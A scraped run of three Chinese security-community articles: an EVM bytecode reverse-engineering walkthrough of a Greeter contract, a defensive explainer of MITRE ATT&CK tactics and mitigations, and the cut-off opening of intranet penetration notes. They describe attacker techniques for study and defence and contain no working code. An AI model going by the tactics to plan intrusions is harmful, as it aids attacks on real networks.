60606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806341c0e1b514610051578063cfae321714610066575b600080fd5b341561005c57600080fd5b6100646100f4565b005b341561007157600080fd5b610079610185565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100b957808201518184015260208101905061009e565b50505050905090810190601f1680156100e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610183576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b565b61018d61022d565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102235780601f106101f857610100808354040283529160200191610223565b820191906000526020600020905b81548152906001019060200180831161020657829003601f168201915b5050505050905090565b6020604051908101604052806000815250905600a165627a7a723058204138c228602c9c0426658c0d46685e1d9c157ff1f92cb6e28acb9124230493210029
如上所示，我们可知runtime bytecode是contract bytecode的一个子集。
## 四、逆向分析
在本文中，我们使用Trail of Bits为[Binary
Ninja](https://binary.ninja/)开发的[Ethersplay](https://github.com/trailofbits/ethersplay)插件来反汇编以太坊字节码。
我们的操作对象是[Ethereum.org](https://ethereum.org/)提供的`Greeter.sol`合约。
首先，我们可以参考[教程](https://github.com/trailofbits/ethersplay)，将Ethersplay插件加入Binary
Ninja中。这里提醒一下，我们只逆向runtime bytecode，因为这个过程足以告诉我们合约具体做了哪些工作。
### 工具概览
Ethersplay插件可以识别runtime
bytecode中的所有函数，从逻辑上进行划分。对于这个合约，Ethersplay发现了两个函数：`kill()`
以及`greet()`。后面我们会介绍如何提取这些函数。
### 第一条指令
当我们向智能合约发起交易时，首先碰到的是合约的dispatcher（调度器）。Dispatcher会处理交易数据，确定我们需要交互的具体函数。
我们在dispatcher中看到的第一条指令为：
PUSH1 0x60 // argument 2 of mstore: the value to store in memory
PUSH1 0x40 // argument 1 of mstore: where to store that value in memory
MSTORE // mstore(0x40, 0x60)
PUSH1 0x4
CALLDATASIZE
LT
PUSH2 0x4c
JUMPI
`PUSH`指令有16个不同的版本（`PUSH1`… `PUSH16`）。EVM通过不同编号来了解我们往栈上压入了多少字节。
前两条指令（`PUSH1 0x60`以及`PUSH1 0x40`）分别代表将`0x60`以及 `0x40` 压入栈。这些指令执行完毕后，运行时栈的布局如下：
1: 0x40
0: 0x60
根据[Solidity官方文档](https://solidity.readthedocs.io/en/v0.4.21/assembly.html)，`MSTORE`的定义如下：
指令 | 结果
---|---
mstore(p, v) | mem[p..(p+32)) := v
EVM会从栈顶到栈底来读取函数参数，也就是说会执行`mstore(0x40, 0x60)`，这条指令与`mem[0x40...0x40+32] :=
0x60`作用相同。
`mstore`会从栈中取出两个元素，因此栈现在处于清空状态。接下来的指令为：
PUSH1 0x4
CALLDATASIZE
LT
PUSH 0x4c
JUMPI
`PUSH1 0x4`执行后，栈中只有一个元素：
0: 0x4
`CALLDATASIZE`函数会将 _calldata_
（相当于`msg.data`）的大小压入栈中。我们可以往任何智能合约发送任意数据，`CALLDATASIZE`会检查数据的大小。
调用`CALLDATASIZE`后，栈的布局如下：
1: (however long the msg.data or calldata is)
0: 0x4
下一条指令为`LT`（即“less than”），指令功能如下：
指令 | 结果
---|---
mstore(p, v) | mem[p..(p+32)) := v
lt(x, y) | 如果x < y则为1，否则为0
如果第一个参数小于第二个参数，则`lt`会将1压入栈，否则就压入0。在我们的例子中，根据此时的栈布局，这条指令为`lt((however long the
msg.data or calldata is), 0x4)` （判断msg.data或calldata的大小是否小于0x4字节）。
为什么EVM需要检查我们提供的calldata大小是否至少为4字节？这里涉及到函数的识别过程。
EVM会通过函数`keccak256`哈希的前4个字节来识别函数。也就是说，函数原型（函数名以及所需参数）需要交给`keccak256`哈希函数处理。在这个合约中，我们可以得到如下结果：
keccak256("greet()") = cfae3217...
keccak256("kill()") = 41c0e1b5...
因此，`greet()`的函数标识符为`cfae3217`，`kill()`的函数标识符为`41c0e1b5`。Dispatcher会检查我们发往合约的`calldata`（或者消息数据）大小至少为4字节，以确保我们的确想跟某个函数交互。
函数标识符大小 **始终** 为4字节，因此如果我们发往智能合约的数据小于4字节，那么我们无法与任何函数交互。
事实上，我们可以在汇编代码中看到智能合约如何拒绝不符合规定的行为。如果`calldatasize`小于4字节，那么bytecode会立即跳到代码尾部，结束合约执行过程。
来具体看一下判断过程。
如果`lt((however long the msg.data or calldata is), 0x4)`
等于`1`（为真，即calldata小于4字节），那么从栈中取出2个元素后，`lt`会往栈中压入1。
0: 1
接下来的指令为`PUSH 0x4c` 以及`JUMPI`。`PUSH 0x4c`指令执行后，栈的布局为：
1: 0x4c
0: 1
`JUMPI`代表的是“jump if”（条件满足则跳转），如果条件满足，则跳转到特定的标签或者位置。
指令 | 结果
---|---
mstore(p, v) | mem[p..(p+32)) := v
lt(x, y) | 如果x < y则为1，否则为0
jumpi(label, cond) | 如果cond非零则跳转至label
在这个例子中，`label`为代码中的`0x4c`偏移地址，并且`cond`为1，因此程序会跳转到`0x4c`偏移处。
### 函数调度
来看一下如何从`calldata`中提取所需的函数。上一条`JUMPI`指令执行完毕后，栈处于清空状态。
第二个代码块中的命令如下：
PUSH1 0x0
CALLDATALOAD
PUSH29 0x100000000....
SWAP1
DIV
PUSH4 0xffffffff
AND
DUP1
PUSH4 0x41c0e1b5
EQ
PUSH2 0x51
JUMPI
`PUSH1 0x0`会将0压入栈顶。
0: 0
`CALLDATALOAD`指令接受一个参数，该参数可以作为发往智能合约的calldata数据的索引，然后从该索引处再读取32个字节，指令说明如下：
指令 | 结果
---|---
mstore(p, v) | mem[p..(p+32)) := v
lt(x, y) | 如果x < y则为1，否则为0
jumpi(label, cond) | 如果cond非零则跳转至label
calldataload(p) | 从calldata的位置p处读取数据（32字节）
`CALLDATALOAD`会将读取到的32字节压入栈顶。由于该指令收到的索引值为0（来自于`PUSH1
0x0`命令），因此`CALLDATALOAD`会读取calldata中从0字节处开始的32个字节，然后将其压入栈顶（先弹出栈中的`0x0`）。新的栈布局为：
0: 32 bytes of calldata starting at byte 0
下一条指令为`PUSH29 0x100000000....`。
1: 0x100000000....
0: 32 bytes of calldata starting at byte 0
`SWAPi`指令会将栈顶元素与栈中第`i`个元素进行交换。在这个例子中，该指令为`SWAP1`，因此指令会将栈顶元素与随后的第一个元素交换。
指令 | 结果
---|---
mstore(p, v) | mem[p..(p+32)) := v
lt(x, y) | 如果x < y则为1，否则为0
jumpi(label, cond) | 如果cond非零则跳转至label
calldataload(p) | 从calldata的位置p处读取数据（32字节）
swap1 … swap16 | 交换栈顶元素与随后的第i个元素
1: 32 bytes of calldata starting at byte 0
0: PUSH29 0x100000000....
下一跳指令为`DIV`，即`div(x, y)`也就是x/y。在这个例子中，x为`32 bytes of calldata starting at byte
0`，y为`0x100000000....`。
`0x100000000....`的大小为29个字节，最开头为1，后面全部都为0。先前我们从calldata中读取了32个字节，将32字节的calldata除以`10000...`，结果为calldataload从索引0开始的前4个字节。这4个字节其实就是函数标识符。
如果大家还不明白，可以类比一下10进制的除法，`123456000 / 100 =
123456`，在16进制中运算过程与之类似。将32字节的某个值除以29字节的某个值，结果只保留前4个字节。
`DIV`运算的结果也会压入栈中。
0: function identifier from calldata
接下来的指令为`PUSH4
0xffffffff`以及`AND`，这个例子中，对应的是将`0xffffffff`与calldata发过来的函数标识符进行`AND`操作。这样就把能栈中函数标识符的后28个字节清零。
随后是一条`DUP1`指令，可以复制栈中的第一个元素（这里对应的是函数标识符），然后将其压入栈顶。
1: function identifier from calldata
0: function identifier from calldata
接下来是`PUSH4
0x41c0e1b5`指令，这是`kill()`的函数标识符。我们将该标识符压入栈，目的是想将其与calldata的函数标识符进行对比。
2: 0x41c0e1b5
1: function identifier from calldata
0: function identifier from calldata
下一条指令为`EQ`（即`eq(x,y)`），该指令会将x以及y弹出栈，如果两者相等则压入1，否则压入0。这个过程正是dispatcher的“调度”过程：将calldata函数标识符与智能合约中所有的函数标识符进行对比。
1: (1 if calldata functio identifier matched kill() function identifier, 0 otherwise)
0: function identifier from calldata
执行完`PUSH2 0x51`后，栈的布局如下：
2: 0x51
1: (1 if calldata functio identifier matched kill() function identifier, 0 otherwise)
0: function identifier from calldata
之所以压入`0x51`，是希望条件满足时，可以通过`JUMPI`指令跳转到这个偏移处。换句话说，如果calldata发过来的函数标识符与`kill()`匹配，那么执行流程就会跳转到代码中的`0x51`偏移位置（即`kill()`函数所在位置）。
`JUMPI`执行之后，我们要么跳转到`0x51`偏移位置，要么继续执行当前流程。
现在栈中只包含一个元素：
0: function identifier from calldata
细心的读者会注意到，如果我们没有跳转到`kill()`函数，那么dispatcher依然会采用相同逻辑，将calldata函数标识符与`greet()`函数标识符进行对比。Dispatcher会检查智能合约中的每个函数，如果不能找到匹配的函数，则会将我们引导至程序退出代码。
## 五、总结
以上是对以太坊虚拟机工作原理的简单介绍，大家如果想了解以太坊或者区块链安全方面内容，欢迎关注我的[推特](https://twitter.com/arvanaghi)。 | 社区文章 |
# 一文看懂ATT&CK框架以及使用场景实例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Google趋势显示，这个带着奇怪的“＆”符号的词语——ATT＆CK非常受欢迎。但是，MITRE
ATT＆CK™的内涵是什么呢？为什么网络安全专家应该关注ATT＆CK呢？
过去12个月中，对MITRE ATT＆CK的搜索热度显著增长
## 一、ATT&CK框架背景介绍
MITRE是美国政府资助的一家研究机构，该公司于1958年从MIT分离出来，并参与了许多商业和最高机密项目。其中包括开发FAA空中交通管制系统和AWACS机载雷达系统。MITRE在美国国家标准技术研究所（NIST）的资助下从事了大量的网络安全实践。
MITRE在2013年推出了ATT&CK模型，它是根据真实的观察数据来描述和分类对抗行为。ATT&CK将已知攻击者行为转换为结构化列表，将这些已知的行为汇总成战术和技术，并通过几个矩阵以及结构化威胁信息表达式（STIX）、指标信息的可信自动化交换（TAXII）来表示。由于此列表相当全面地呈现了攻击者在攻击网络时所采用的行为，因此对于各种进攻性和防御性度量、表示和其他机制都非常有用。
MITRE ATT&CK的目标是创建网络攻击中使用的已知对抗战术和技术的详尽列表。在过去的一年中，MITRE
ATT&CK框架在安全行业中广受欢迎。简单来说，ATT&CK是MITRE提供的“对抗战术、技术和常识”框架，是由攻击者在攻击企业时会利用的12种战术和244种企业技术组成的精选知识库。
ATT&CK会详细介绍每一种技术的利用方式，以及为什么了解这项技术对于防御者来说很重要。这极大地帮助了安全人员更快速地了解不熟悉的技术。例如，对于甲方企业而言，平台和数据源非常重要，企业安全人员需要了解应该监控哪些系统以及需要从中收集哪些内容，才能减轻或检测由于入侵技术滥用造成的影响。这时候，ATT&CK场景示例就派上用场了。针对每种技术都有具体场景示例，说明攻击者是如何通过某一恶意软件或行动方案来利用该技术的。ATT&CK每个示例都采用Wikipedia的风格，引用了许多博客和安全研究团队发表的文章。因此如果ATT&CK中没有直接提供内容，通常可以在这些链接的文章中找到。
因此，现在很多企业都开始研究ATT&CK，在这一过程中通常会看到企业组织采用两种方法。首先是盘点其安全工具，让安全厂商提供一份对照ATT&CK覆盖范围的映射图。尽管这是最简单、最快速的方法，但供应商提供的覆盖范围可能与企业实际部署工具的方式并不匹配。此外，也有些企业组织在按照战术逐项进行评估企业安全能力。以持久化战术为例，这些技术可能非常复杂，而且，仅仅缓解其中一部分技术，并不意味着攻击者无法以其它方式滥用这项技术。
## 二、MITRE ATT＆CK与Kill Chain的对比
总体来说，ATT&CK模型是在洛克希德-马丁公司提出的KillChain模型的基础上，构建了一套更细粒度、更易共享的知识模型和框架。目前ATT&CK模型分为三部分，分别是PRE-ATT&CK，ATT&CK for Enterprise和ATT&CK for Mobile。其中PRE-ATT&CK覆盖Kill
Chain模型的前两个阶段，包含了与攻击者在尝试利用特定目标网络或系统漏洞进行相关操作有关的战术和技术。ATT&CK for
Enterprise覆盖Kill Chain的后五个阶段，ATT&CK for
Enterprise由适用于Windows、Linux和MacOS系统的技术和战术部分。ATT&CK for Mobile包含适用于移动设备的战术和技术。
但是，ATT&CK的战术跟洛克希德·马丁的网络杀伤链不一样，并没有遵循任何线性顺序。相反，攻击者可以随意切换战术来实现最终目标。没有一种战术比其它战术更重要。企业组织必须对当前覆盖范围进行分析，评估组织面临的风险，并采用有意义措施来弥合差距。
除了在Kill Chain战术上更加细化之外，ATT＆CK还描述了可以在每个阶段使用的技术，而Kill Chain则没有这些内容。
## 三、ATT＆CK框架的使用
从视觉角度来看，MITRE
ATT＆CK矩阵按照一种易于理解的格式将所有已知的战术和技术进行排列。攻击战术展示在矩阵顶部，每列下面列出了单独的技术。一个攻击序列按照战术，至少包含一个技术，并且通过从左侧（初始访问）向右侧（影响）移动，就构建了一个完整的攻击序列。一种战术可能使用多种技术。例如，攻击者可能同时尝试鱼叉式网络钓鱼攻击中的钓鱼附件和钓鱼链接。
ATT＆CK矩阵顶部为攻击战术，每列包含多项技术
ATT＆CK战术按照逻辑分布在多个矩阵中，并以“初始访问”战术开始。例如：发送包含恶意附件的鱼叉式网络钓鱼邮件就是该战术下的一项技术。ATT＆CK中的每种技术都有唯一的ID号码，例如，此处所使用的技术T1193。矩阵中的下一个战术是“执行”。在该战术下，有“用户执行/
T1204”技术。该技术描述了在用户执行特定操作期间执行的恶意代码。在矩阵中后面的阶段中，您将遇到“提升特权”、“横向移动”和“渗透”之类的战术。
攻击者无需使用矩阵顶部所示的所有12项战术。相反，攻击者会使用最少数量的战术来实现其目标，因为这可以提高效率并且降低被发现的几率。例如，对手使用电子邮件中传递的鱼叉式网络钓鱼链接对CEO行政助理的凭据进行“初始访问”。获得管理员的凭据后，攻击者将在“发现”阶段寻找远程系统。接下来可能是在Dropbox文件夹中寻找敏感数据，管理员对此也有访问权限，因此无需提升权限。然后攻击者通过将文件从Dropbox下载到攻击者的计算机来完成收集。
攻击示例（攻击中使用了不同战术中的技术）
ATT＆CK
导航工具是一个很有用的工具，可用于映射针对ATT＆CK技术的控制措施。可以添加不同的层，来显示特定的检测控制措施、预防控制措施甚至观察到的行为。导航工具可以在线使用，快速搭建模型或场景，也可以下载下来，进行内部设置，作为一个持久化的解决方案。
下文，笔者将针对ATT&CK框架中的12种战术的中心思想以及如何缓解和检测战术中的某些技术进行一些解读。
### 01、初始访问
尽管ATT&CK并不是按照任何线性顺序排列的，但初始访问是攻击者在企业环境中的立足点。对于企业来说，该战术是从PRE-ATT&CK到ATT&CK的理想过渡点。攻击者会使用不同技术来实现初始访问技术。
例如，假设攻击者使用Spearphishing（鱼叉式）附件。附件本身将利用某种类型的漏洞来实现该级别的访问，例如PowerShell或其它脚本技术。如果执行成功，可以让攻击者采用其它策略和技术来实现其最终目标。幸运的是，由于这些技术众所周知，因此有许多技术和方法可用于减轻和检测每种技术的滥用情况。
此外，安全人员也可以将ATT&CK和CIS控制措施相结合，这将发挥更大作用。对于初始访问这种战术，我认为其中三项CIS控制措施能发挥极大作用。
（1）控制措施4：控制管理员权限的使用。如果攻击者可以成功使用有效帐户或让管理员打开spearphishing附件，后续攻击将变得更加轻松。
（2）控制措施7：电子邮件和Web浏览器保护。由于这些技术中的许多技术都涉及电子邮件和、Web浏览器的使用，因此，控制措施7中的子控制措施将非常有用。
（3）控制措施16：帐户监视和控制。充分了解帐户应执行的操作并锁定权限，不仅有助于限制数据泄露造成的损害，还可以发挥检测网络中有效帐户滥用的功能。
初始访问是攻击者将在企业环境中的落脚点。想要尽早终止攻击，那么“初始访问”将是一个很合适的起点。此外，如果企业已经采用了CIS控制措施并且正在开始采用ATT&CK的方法，这将会很有用。
### 02、执行
在对手在进攻中所采取的所有战术中，应用最广泛的战术莫过于“执行”。攻击者在考虑现成的恶意软件、勒索软件或APT攻击时，他们都会选择“执行”。由于恶意软件必须运行，因此防御者就有机会阻止或检测到它。但是，并非所有恶意软件都是可以用杀毒软件轻松查找其恶意可执行文件。
此外，对于命令行界面或PowerShell对于攻击者而言非常有用。许多无文件恶意软件都专门利用了其中一种技术或综合使用这两种技术。这些类型的技术对攻击者的威力在于，终端上已经安装了上述技术，而且很少会删除。系统管理员和高级用户每天都依赖其中一些内置工具。ATT&CK中的缓解控制措施甚至声明了，这些控制措施也无法删除上述技术，只能对其进行审计。而攻击者所依赖的就是，终端上安装采用了这些技术，因此要获得对攻击者的优势，只能对这些技术进行审计，然后将它们相关数据收集到中央位置进行审核。
最后，应用白名单是缓解恶意软件攻击时最有用的控制措施。但和任何技术一样，这不是解决所有问题的灵丹妙药。但是，应用白名单会降低攻击者的速度，并且还可能迫使他们逃离舒适区，尝试其它策略和技术。当攻击者被迫离开自己的舒适区之外时，他们就有可能犯错。
如果企业当前正在应用CIS关键安全控制措施，该战术与控制措施2——已授权和未授权软件清单非常匹配。从缓解的角度来看，企业无法防护自己未知的东西，因此，第一步是要了解自己的财产。要正确利用ATT&CK，企业不仅需要深入了解已安装的应用程序。还要清楚内置工具或附加组件会给企业组织带来的额外风险。在这个环节中，可以采用一些安全厂商的资产清点工具，例如青藤等主机安全厂商都能提供详细的软件资产清单。
### 03、持久化
除了勒索软件以外，持久化是最受攻击者追捧的技术之一。攻击者希望尽可能减少工作量，包括减少访问攻击对象的时间。即便运维人员采取重启、更改凭据等措施后，持久化仍然可以让计算机再次感染病毒或维护其现有连接。例如注册表Run键、启动文件夹是最常用的技术，这些注册表键或文件系统位置在每次启动计算机时都会执行。因此攻击者在启动诸如Web浏览器或Microsoft
Office等常用应用时开始获得持久化。
此外，还有使用“镜像劫持（IFEO）注入”等技术来修改文件的打开方式，在注册表中创建一个辅助功能的注册表项，并根据镜像劫持的原理添加键值，实现系统在未登录状态下，通过快捷键运行自己的程序。
在所有ATT&CK战术中，笔者认为持久化是最应该关注的战术之一。如果企业在终端上发现恶意软件并将其删除，很有可能它还会重新出现。这可能是因为有漏洞还未修补，但也可能是因为攻击者已经在此或网络上的其它地方建立了持久化。与使用其它一些战术和技术相比，使用持久化攻击应该相对容易一些。
### 04、提升权限
所有攻击者都会对提权爱不释手，利用系统漏洞达到root级访问权是攻击者核心目标之一。其中一些技术需要系统级的调用才能正确使用，Hooking和进程注入就是两个示例。该战术中的许多技术都是针对被攻击的底层操作系统而设计，要缓解可能很困难。
ATT&CK提出“应重点防止对抗工具在活动链中的早期阶段运行，并重点识别随后的恶意行为。”这意味着需要利用纵深防御来防止感染病毒，例如终端的外围防御或应用白名单。对于超出ATT&CK建议范围之外的权限升级，一种良好的防止方式是在终端上使用加固基线。例如CIS基线提供了详细的分步指南，指导企业如何加固系统，抵御攻击。
应对此类攻击战术另一个办法是审计日志记录。当攻击者采用其中某些技术时，它们将留下蛛丝马迹，暴露他们的目的。尤其是针对主机侧的日志，如果能够记录服务器的所有运维命令，进行存证以及实时审计。例如，实时审计运维人员在服务器上操作步骤，一旦发现不合规行为可以进行实时告警，也可以作为事后审计存证。也可以将数据信息对接给SOC、态势感知等产品，也可以对接给编排系统。
### 05、防御绕过
到目前为止，该战术所拥有的技术是MITRE
ATT&CK框架所述战术中最多的。该战术的一个有趣之处是某些恶意软件，例如勒索软件，对防御绕过毫不在乎。他们的唯一目标是在设备上执行一次，然后尽快被发现。
一些技术可以骗过防病毒（AV）产品，让这些防病毒产品根本无法对其进行检查，或者绕过应用白名单技术。例如，禁用安全工具、文件删除和修改注册表都是可以利用的技术。当然防御者可以通过监视终端上的更改并收集关键系统的日志将会让入侵无处遁形。
### 06、凭据访问
毫无疑问，攻击者最想要的凭据，尤其是管理凭据。如果攻击者可以登录，为什么要用0Day或冒险采用漏洞入侵呢？这就犹如小偷进入房子，如果能够找到钥匙开门，没人会愿意砸破窗户方式进入。
任何攻击者进入企业都希望保持一定程度的隐身。他们将希望窃取尽可能多的凭据。他们当然可以暴力破解，但这种攻击方式噪声太大了。还有许多窃取哈希密码及哈希传递或离线破解哈希密码的示例。最后，攻击者最喜欢方式是窃取明文密码。明文密码可能存储在明文文件、数据库甚至注册表中。攻击者入侵一个系统、窃取本地哈希密码并破解本地管理员密码并不鲜见。
应对凭据访问最简单办法就是采用复杂密码。建议使用大小写、数字和特殊字符组合，目标是让攻击者难以破解密码。最后一步就是监视有效帐户的使用情况。在很多情况下，是通过有效账户发生的数据泄露。
当然最稳妥办法办法就是启用多因素验证。即使存在针对双重验证的攻击，有双重验证（2FA）总比没有好。通过启用多因素验证，可以确保破解密码的攻击者在访问环境中的关键数据时，仍会遇到另一个障碍。
### 07、发现
“发现”战术是一种难以防御的策略。它与洛克希德·马丁网络Kill Chain的侦察阶段有很多相似之处。组织机构要正常运营业务，肯定会暴露某些特定方面的内容。
最常用的是应用白名单，可以解决大多数恶意软件。此外，欺骗防御也是一个很好方法。放置一些虚假信息让攻击者发现，进而检测到对手的活动。通过监视，可以跟踪用户是否正在访问不应访问的文档。
由于用户通常在日常工作中执行各种技术中所述的许多操作，因此，从各种干扰中筛选出恶意活动可能非常困难。理解哪些操作属于正常现象，并为预期行为设定基准时，会在尝试使用这一战术时有所帮助。
### 08、横向移动
攻击者在利用单个系统漏洞后，通常会尝试在网络内进行横向移动。甚至通常一次只针对单个系统的勒索软件也试图在网络中移动以寻找其它攻击目标。攻击者通常会先寻找一个落脚点，然后开始在各个系统中移动，寻找更高的访问权限，以期达成最终目标。
在缓解和检测对该特定技术的滥用方面，适当的网络分段可以在很大程度上缓解风险。将关键系统放置在一个子网中，将通用用户放置在另一个子网中，将系统管理员放置在第三个子网中，有助于快速隔离较小网络中的横向移动。在终端和交换机级别都设置防火墙也将有助于限制横向移动。
遵循CIS 控制措施
14——基于需要了解受控访问是一个很好的切入点。除此之外，还应遵循控制措施4——控制管理员权限的使用。攻击者寻求的是管理员凭据，因此，严格控制管理员凭据的使用方式和位置，将会提高攻击者窃取管理员凭据的难度。此控制措施的另一部分是记录管理凭据的使用情况。即使管理员每天都在使用其凭据，但他们应该遵循其常规模式。发现异常行为可能表明攻击者正在滥用有效凭据。
除了监视身份验证日志外，审计日志也很重要。域控制器上的事件ID
4769表示，Kerberos黄金票证密码已重置两次，这可能表明存在票据传递攻击。或者，如果攻击者滥用远程桌面协议，审计日志将提供有关攻击者计算机的信息。
### 09、收集
ATT&CK
“收集”战术概述了攻击者为了发现和收集实现目标所需的数据而采取的技术。该战术中列出的许多技术都没有关于如何减轻这些技术的实际指导。实际上，大多数都是含糊其辞，称使用应用白名单，或者建议在生命周期的早期阶段阻止攻击者。
但是，企业可以使用该战术中的各种技术，了解更多有关恶意软件是如何处理组织机构中数据的信息。攻击者会尝试窃取有关当前用户的信息，包括屏幕上有什么内容、用户在输入什么内容、用户讨论的内容以及用户的外貌特征。除此之外，他们还会寻求本地系统上的敏感数据以及网络上其它地方的数据。
了解企业存储敏感数据的位置，并采用适当的控制措施加以保护。这个过程遵循CIS控制措施14——基于需要了解受控访问,可以帮助防止数据落入敌手。对于极其敏感的数据，可查看更多的日志记录，了解哪些人正在访问该数据以及他们正在使用该数据做什么。
### 10、命令和控制
现在大多数恶意软件都有一定程度的命令和控制权。黑客可以通过命令和控制权来渗透数据、告诉恶意软件下一步执行什么指令。对于每种命令和控制，攻击者都是从远程位置访问网络。因此了解网络上发生的事情对于解决这些技术至关重要。
在许多情况下，正确配置防火墙可以起到一定作用。一些恶意软件家族会试图在不常见的网络端口上隐藏流量，也有一些恶意软件会使用80和443等端口来尝试混入网络噪音中。在这种情况下，企业需要使用边界防火墙来提供威胁情报数据，识别恶意URL和IP地址。虽然这不会阻止所有攻击，但有助于过滤一些常见的恶意软件。
如果边界防火墙无法提供威胁情报，则应将防火墙或边界日志发送到日志服务处理中心，安全引擎服务器可以对该级别数据进行深入分析。例如Splunk等工具为识别恶意命令和控制流量提供了良好的方案。
### 11、数据渗漏
攻击者获得访问权限后，会四处搜寻相关数据，然后开始着手数据渗透。但并不是所有恶意软件都能到达这个阶段。例如，勒索软件通常对数据逐渐渗出没有兴趣。与“收集”战术一样，该战术对于如何缓解攻击者获取公司数据，几乎没有提供指导意见。
在数据通过网络渗漏的情况下，建立网络入侵检测或预防系统有助于识别何时传输数据，尤其是在攻击者窃取大量数据（如客户数据库）的情况下。此外，尽管DLP成本高昂，程序复杂，但可以确定敏感数据何时会泄露出去。IDS、IPS和DLP都不是100%准确的，所以部署一个纵深防御体系结构以确保机密数据保持机密。
如果企业组织机构要处理高度敏感的数据，那么应重点关注限制外部驱动器的访问权限，例如USB接口，限制其对这些文件的访问权限，即可禁用他们装载外部驱动器的功能。
要正确地解决这个战术，首先需要知道组织机构的关键数据所在的位置。如果这些数据还在，可以按照CIS
控制措施14——基于需要了解受控访问，来确保数据安全。之后，按照CIS控制措施13——数据保护中的说明了解如何监视试图访问数据的用户。
### 12、影响
攻击者试图操纵、中断或破坏企业的系统和数据。用于影响的技术包括破坏或篡改数据。在某些情况下，业务流程可能看起来很好，但可能已经更改为有利于对手的目标。这些技术可能被对手用来完成他们的最终目标，或者为机密泄露提供掩护。
例如攻击者可能破坏特定系统数据和文件，从而中断系统服务和网络资源的可用性。数据销毁可能会通过覆盖本地或远程驱动器上的文件或数据使存储的数据无法恢复。针对这类破坏可以考虑实施IT灾难恢复计划，其中包含用于进行可用于还原组织数据的常规数据备份的过程。
## 四、ATT&CK使用场景
ATT＆CK在各种日常环境中都很有价值。开展任何防御活动时，可以应用ATT＆CK分类法，参考攻击者及其行为。ATT＆CK不仅为网络防御者提供通用技术库，还为渗透测试和红队提供了基础。提到对抗行为时，这为防御者和红队成员提供了通用语言。企业组织可以使用多种方式来使用MITRE
ATT＆CK。下文是一些常见的主要场景：
（1）对抗模拟
ATT＆CK可用于创建对抗性模拟场景，测试和验证针对常见对抗技术的防御方案。
（2）红队/渗透测试活动
红队、紫队和渗透测试活动的规划、执行和报告可以使用ATT＆CK，以便防御者和报告接收者以及其内部之间有一个通用语言。
（3）制定行为分析方案
ATT＆CK可用于构建和测试行为分析方案，以检测环境中的对抗行为。
（4）防御差距评估
ATT＆CK可以用作以行为为核心的常见对抗模型，以评估组织企业内现有防御方案中的工具、监视和缓解措施。在研究MITRE
ATT＆CK时，大多数安全团队都倾向于为Enterprise矩阵中的每种技术尝试开发某种检测或预防控制措施。虽然这并不是一个坏主意，但是ATT＆CK矩阵中的技术通常可以通过多种方式执行。因此，阻止或检测执行这些技术的一种方法并不一定意味着涵盖了执行该技术的所有可能方法。由于某种工具阻止了用另一种形式来采用这种技术，而组织机构已经适当地采用了这种技术，这可能导致产生一种虚假的安全感。但是，攻击者仍然可以成功地采用其他方式来采用该技术，但防御者却没有任何检测或预防措施。
（5）SOC成熟度评估
ATT＆CK可用作一种度量，确定SOC在检测、分析和响应入侵方面的有效性。SOC团队可以参考ATT＆CK已检测到或未涵盖的技术和战术。这有助于了解防御优势和劣势在哪里，并验证缓解和检测控制措施，并可以发现配置错误和其他操作问题。
（6）网络威胁情报收集
ATT＆CK对于网络威胁情报很有用，因为ATT＆CK是在用一种标准方式描述对抗行为。可以根据攻击者已知利用的ATT＆CK中的技术和战术来跟踪攻击主体。这为防御者提供了一个路线图，让他们可以对照他们的操作控制措施，查看对某些攻击主体而言，他们在哪些方面有弱点，在哪些方面有优势。针对特定的攻击主体，创建MITRE
ATT＆CK 导航工具内容，是一种观察环境中对这些攻击主体或团体的优势和劣势的好方法。ATT＆CK还可以为STIX 和 TAXII
2.0提供内容，从而可以很容易地将支持这些技术的现有工具纳入中。
ATT＆CK提供了将近70个攻击主体和团体的详细信息，包括根据开放源代码报告显示，已知他们所使用的技术和工具。
使用ATT＆CK的通用语言，为情报创建过程提供了便利。如前所述，这适用于攻击主体和团体，但也适用于从SOC或事件响应活动中观察到的行为。也可以通过ATT＆CK介绍恶意软件的行为。任何支持ATT＆CK的威胁情报工具都可以简化情报创建过程。将ATT＆CK应用于任何提及的行为的商业和开源情报也有助于保持情报的一致性。当各方围绕对抗行为使用相同的语言时，将情报传播到运维人员或管理人员变得容易得多了。如果运营人员确切地知道什么是强制验证，并且在情报报告中看到了这一信息，则他们可能确切地知道应该对该情报采取什么措施或已经采取了哪些控制措施。以这种方式，实现ATT＆CK对情报产品介绍的标准化可以大大提高效率并确保达成共识。
## 写在最后
MITRE为大家提供了ATT＆CK及其相关工具和资源，为安全界做出了重大贡献。它的出现恰合时宜。由于攻击者正在寻找更隐蔽的方法并避免传统安全工具的检测，因此防御者不得不改变检测和防御方式。ATT＆CK改变了我们对IP地址和域名等低级指标的认知，并让我们从行为的视角来看待攻击者和防御措施。与过去“一劳永逸”的工具相比，检测和预防行为之路要困难得多。此外，随着防御者带来新的功能，攻击者肯定会作出相应调整。ATT＆CK提供了一种方法来描述他们开发的新技术，并希望防御者能够紧随技术发展的新步伐。 | 社区文章 |
# 【技术分享】内网渗透思路整理与工具使用
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[Homaebic](http://bobao.360.cn/member/contribute?uid=2782234750)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
上个学期一直在学审计，前几天ST2漏洞大火，随便打一个就是root权限，我却拿着root权限不知如何继续进行。因为这个，发现了自己对渗透知识的缺失，因此用了两周左右的时间学习补充了一下内网渗透的知识，看了不少大牛的文章，膜拜之余还是做了一些笔记的。到渗透入门结束之余，打算自己整理一下最近学习到的关于渗透的知识，写一篇文章。
回过头看渗透，在机械流程的前提下，什么情况下使用什么工具，做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。
**渗透初探**
**一个概念**
**正向shell：** 攻击者连接被攻击者机器，可用于攻击者处于内网，被攻击者处于公网的情况。
攻击者–>被攻击者
